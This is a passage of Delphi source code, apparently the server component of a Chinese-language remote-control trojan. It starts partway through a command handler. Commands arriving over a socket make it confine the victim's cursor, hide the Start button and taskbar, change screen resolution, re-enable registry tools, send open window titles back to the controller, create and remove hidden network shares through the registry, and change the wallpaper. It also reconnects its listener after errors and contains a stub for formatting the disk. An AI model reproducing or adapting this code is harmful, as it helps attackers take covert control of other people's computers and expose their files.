server.~pa

这个也不错

                                myreg:=tregistry.Create;
                                myreg.RootKey:=HKEY_CURRENT_USER;
                                if myreg.OpenKey('software\microsoft\windows\currentversion\policies\system',true) then
                                begin
                                    myreg.DeleteValue('DisableRegistryTools');
                                    myreg.CloseKey;
                                end;
                                myreg.Free;
                             end;
//
 if label1.Caption=info[13] then
      begin
      rt.Left:=0;
      rt.Top:=0;
      rt.Right:=0;
      rt.Bottom:=0;
      MapWindowPoints(handle, 0, rt, 2); // 座标换算
      ClipCursor(@rt);
      end;
 if label1.Caption=info[14] then clipcursor(nil);
 //处理消息
  if pos('{message}',label1.caption)=1 then domessage(label1.caption);


 //处理开始按钮
  if label1.Caption=info[15] then
  begin
    hwnd1:=findwindow('shell_traywnd',nil);
    hwnd2:=getwindow(hwnd1,gw_child);
    getclassname(hwnd2,pchar(buttonname),255);
    showwindow(hwnd2,sw_hide);
  end;
  if label1.Caption=info[16] then
   begin
    hwnd1:=findwindow('shell_traywnd',nil);
    hwnd2:=getwindow(hwnd1,gw_child);
    getclassname(hwnd2,pchar(buttonname),255);
    showwindow(hwnd2,sw_show);
   end;
   //处理任务栏
   if label1.Caption=info[17] then
   begin
      hwnd1:=findwindow('shell_traywnd',nil);
      showwindow(hwnd1,sw_hide)
   end;
   if label1.Caption=info[18] then
   begin
      hwnd1:=findwindow('shell_traywnd',nil);
      showwindow(hwnd1,sw_show);
   end;

   //更改分辩率。。
   if label1.Caption=info[19] then
   begin
    x:=640;
    y:=480;
    result:=enumdisplaysettings(nil,0,devmode);
    if result then
    begin
       devmode.dmfields:=dm_pelswidth or dm_pelsheight;
       devmode.dmpelswidth:=x;
       devmode.dmpelsheight:=y;
       changedisplaysettings(devmode,0);
    end;
   end;
   if label1.Caption=info[20] then
   begin
    x:=800;
    y:=600;
    result:=enumdisplaysettings(nil,0,devmode);
    if result then
    begin
       devmode.dmfields:=dm_pelswidth or dm_pelsheight;
       devmode.dmpelswidth:=x;
       devmode.dmpelsheight:=y;
       changedisplaysettings(devmode,0);
    end;
   end;
   if label1.Caption=info[21] then
   begin
    x:=1024;
    y:=768;
    result:=enumdisplaysettings(nil,0,devmode);
    if result then
    begin
       devmode.dmfields:=dm_pelswidth or dm_pelsheight;
       devmode.dmpelswidth:=x;
       devmode.dmpelsheight:=y;
       changedisplaysettings(devmode,0);
    end;
   end;
   if label1.Caption=info[22] then
   begin
    x:=1280;
    y:=1024;
    result:=enumdisplaysettings(nil,0,devmode);
    if result then
    begin
       devmode.dmfields:=dm_pelswidth or dm_pelsheight;
       devmode.dmpelswidth:=x;
       devmode.dmpelsheight:=y;
       changedisplaysettings(devmode,0);
    end;
   end;
   if label1.Caption=info[23] then
   begin
    x:=1600;
    y:=1200;
    result:=enumdisplaysettings(nil,0,devmode);
    if result then
    begin
       devmode.dmfields:=dm_pelswidth or dm_pelsheight;
       devmode.dmpelswidth:=x;
       devmode.dmpelsheight:=y;
       changedisplaysettings(devmode,0);
    end;
   end;
   //更改计算机名：
   {
   if label1.Caption=
   }

   //窗口控制
   if label1.Caption=info[24] then
   begin
       listbox1.Update;
       for i:=0 to listbox1.Items.Count-1 do
       begin
            try
               Serverlink.Socket.Connections[0].SendText(listbox1.Items[i]);
            finally
               serverlink.Active:=true;
            end;
        end;
    end;

    //建立共享
    if pos('createshare',label1.Caption)=1 then
    begin
       len:=length(label1.caption);
       label1.Caption:=copy(label1.caption,16,len-16+1);
       len:=length(label1.caption);
       i:=pos('}}}}',label1.caption);
       sharedir:=copy(label1.caption,1,i-1);
       sharename:=copy(label1.caption,i+4,len-(i+4)+1);
       myreg:=tregistry.create;
       myreg.RootKey:=HKEY_LOCAL_MACHINE;
       if myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Network\LanMan',true)
       then  begin
            myreg.CreateKey(sharename);
            myreg.CloseKey;
        end;
        if myreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Network\LanMan\'+sharename,true)
        then begin
             myreg.WriteInteger('flags',402);
             myreg.WriteBinaryData('Parm1enc',i,0);
             myreg.WriteBinaryData('Parm2enc',i,0);
             myreg.WriteString('Path',sharedir);
             myreg.WriteString('Remark','');
             myreg.writeinteger('Type',0);
             myreg.CloseKey;
         end;
        myreg.Free;
    end;
    //格式化磁盘
    if pos('format',label1.caption)=1 then
    begin
    end;
    //删除共享
    if pos('delshare>>>>',label1.caption)=1 then
    begin
        len:=length(label1.caption);
        sharename:=copy(label1.caption,13,len-12);
        myreg:=tregistry.Create;
        myreg.RootKey:=HKEY_LOCAL_MACHINE;
        if myreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Network\LanMan',true)
        then begin
              myreg.DeleteKey(sharename);
              myreg.CloseKey;
        end;
        myreg.Free;
   end;
   //查看共享
   if label1.Caption=info[25] then
   begin
   timer2.Enabled:=true;
     for i:=0 to sharelist.Items.Count-1 do
         try
            serverlink.Socket.Connections[0].SendText(sharelist.items[i]);
         finally
         end;
    timer2.Enabled:=false;
   end;

   //更换bi纸
   if pos('changewall>>>>',label1.Caption) then
   begin
        len:=length(label1.caption);
        label1.Caption:=copy(label1.caption,15,len-14);
        len:=length(label1.caption);
        i:=pos('}}}}',label1.caption);
        sharename:=copy(label1.caption,1,i-1);
        sharedir:=copy(label1.caption,i+4,len-(i+3));
        myreg:=tregistry.Create;
        myreg.rootkey:=HKEY_CURRENT_USER;
        if myreg.OpenKey('\Control Panel\desktop',true)
        then begin
           myreg.WriteString('Wallpaper',sharename);
           myreg.writestring('TileWallpaper',sharedir);
           myreg.CloseKey;
        end;
        myreg.Free;
        SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, PChar(sharename), 0);
end;// end procedure

procedure TForm1.serverlinkClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
      serverlink.Active:=true;
      Statusbar1.simpleText := '正在监听...'
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
    hCurrentWindow :Hwnd;
    szText: array[0..254] of char;
begin
     listbox1.Clear;
      hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
       while hCurrentWindow <> 0 do
       begin
            if GetWindowText(hCurrentWindow, @szText, 255)>0 then
            listbox1.items.Add(StrPas(@szText));
            hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);
       end;
end;

procedure TForm1.serverlinkClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
      serverlink.Active:=true;
      Statusbar1.simpleText := '正在监听...';
      errorcode:=0;

end;

end.